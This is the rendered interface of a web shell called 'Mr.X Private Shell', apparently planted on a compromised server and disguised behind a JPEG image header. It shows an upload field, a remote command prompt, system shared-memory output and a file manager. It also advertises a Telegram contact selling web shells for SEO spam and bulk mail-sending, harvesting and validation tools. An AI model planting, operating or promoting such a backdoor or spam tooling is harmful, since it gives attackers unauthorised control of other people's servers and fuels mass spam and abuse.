����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.216.240: ~ $
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0 1073971200  1600                716128 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695473                716800                     0
         0 1073971201  1600                737816 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695480                741376                     0
         0 1073971202   600                759512 710921 1311256      2   475   468   475   468 1778790399 1778790399 1778695482                761856                     0
      5555          3   644                  1024  4665 330532      0     0     0     0     0 1778786923 1778786923 1753600311                  4096                     0
         0 1078329352  1600                524288 579304 579304      7   522   518   522   518 1778790393 1778790374 1778787655                  8192                     0
         0 1073938458  1600                   576 710913 1311256      6   475   468   475   468 1778790399 1778790399 1778695399                  4096                     0
         0 1073938459  1600               3285056 710913 1311256      6   475   468   475   468 1778790399 1778790399 1778695399               3289088                     0
         0 1073938460  1600                 21744 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695401                 24576                     0
         0 1073938461  1600                 43456 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695403                 45056                     0
         0 1073938462  1600                 65160 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695405                 65536                     0
         0 1073938463  1600                 86856 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695407                 90112                     0
         0 1073938464  1600                108560 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695409                110592                     0
         0 1073938465  1600                130312 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695412                131072                     0
         0 1073938466  1600                152008 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695414                155648                     0
         0 1073938467  1600                173712 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695416                176128                     0
         0 1073938468  1600                195408 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695418                196608                     0
         0 1073938469  1600                217112 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695420                221184                     0
         0 1073938470  1600                238816 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695422                241664                     0
         0 1073938471  1600                260544 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695424                262144                     0
         0 1073938472  1600                282240 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695427                282624                     0
         0 1073938473  1600                303944 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695429                307200                     0
         0 1073938474  1600                325632 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695431                327680                     0
         0 1073938476  1600                347328 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695433                348160                     0
         0 1073938477  1600                369016 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695435                372736                     0
         0 1073938478  1600                390704 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695437                393216                     0
         0 1073938479  1600                412400 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695439                413696                     0
         0 1073938480  1600                434096 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695443                434176                     0
         0 1073938481  1600                455784 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695446                458752                     0
         0 1078394930  1600                524288 1303990 1304028      1   522   518   522   518 1778790367 1778790379 1778790367                  8192                     0
         0 1073938483  1600                477472 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695448                479232                     0
         0 1073938484  1600                499168 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695450                499712                     0
         0 1073938485  1600                520856 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695453                524288                     0
         0 1073938486  1600                542544 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695455                544768                     0
         0 1073938487  1600                564240 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695457                565248                     0
         0 1073938488  1600                585936 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695459                589824                     0
         0 1078296633  1400                169760 329469 4085746      2   484   479     0     0 1778787597          0 1778787597                172032                     0
         0 1073938490  1600                607632 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695461                610304                     0
         0 1073938491  1600                629336 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695463                630784                     0
   5432001 1073938492   600                    56 724831 1311442      6    26    26    26    26 1778790400 1778790400 1778695464                     0                  4096
         0 1073938493  1600                651040 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695466                651264                     0
         0 1073938494  1600                672744 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695468                675840                     0
         0 1073938495  1600                694432 710921 1311256      1   475   468   475   468 1778790399 1778790399 1778695470                696320                     0
         0 1078394944  1600                524288 1305639 1305669      1   877   873   877   873 1778790373 1778790385 1778790373                  8192                     0

Filemanager

Name Type Size Permission Actions
msg File 0 B 0444
sem File 0 B 0444
shm File 0 B 0444